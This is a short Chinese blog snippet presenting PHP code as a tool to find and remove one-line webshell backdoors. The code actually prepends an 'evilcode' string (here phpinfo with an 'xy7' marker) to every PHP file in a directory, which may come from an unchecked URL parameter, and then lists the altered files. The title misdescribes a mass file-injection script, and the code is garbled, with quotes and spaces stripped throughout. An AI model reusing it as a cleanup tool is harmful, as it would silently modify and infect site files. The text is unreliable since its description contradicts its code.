用php实现批量查询清除一句话后门的代码
2018-09-07 19:19
总是忘记一句话放到哪个文件里去了,直接全部干掉...
复制代码 代码如下:
<?//xy7
if(!isset($dir)orempty($dir)){
$dir=str_replace(\\,/,dirname(__FILE__));
echo<fontcolor=\#00688B\>.$dir.</font>;
}else{
$dir=$_GET[dir];
echo<fontcolor=\#00688B\>.$dir.</font>;
}
$evilcode=<?phpinfo();//xy7?>;
$testdir=opendir($dir);
while($filea=@readdir($testdir)){
if(strstr($filea,.php)){
$fp=@fopen($filea,r+);
if(!strstr(@fread($fp,20),xy7)){
rewind($fp);
$old=@fread($fp,filesize($filea));
rewind($fp);
fwrite($fp,$evilcode.$old);
}
fclose($fp);
}
}
closedir($testdir);
?>
<hr>
<tablewidth=100%border=0cellpadding=3cellspacing=1>
<tr>
<td><b>被X的文件</b></td>
<td><b>时间</b></td>
<td><b>大小</b></td>
</tr>
<?php
$dirs=@opendir($dir);
while($file=@readdir($dirs)){
if((is_file($file))and(ereg(\.php{0,1}$,$file)))
{$b=$dir/$file;
$a=@is_dir($b);
if($a==0){
$size=@filesize($dir/$file);
$lastsave=@date(Y-n-dH:i:s,filectime($dir/$file));
echo<tr>\n;
echo<td>$file</td>\n;
echo<td>$lastsave</td>\n;
echo<td>$sizeBytes</td>\n;
}
}
}
@closedir($dirs);
?>
</table>
codzbyxuanmumu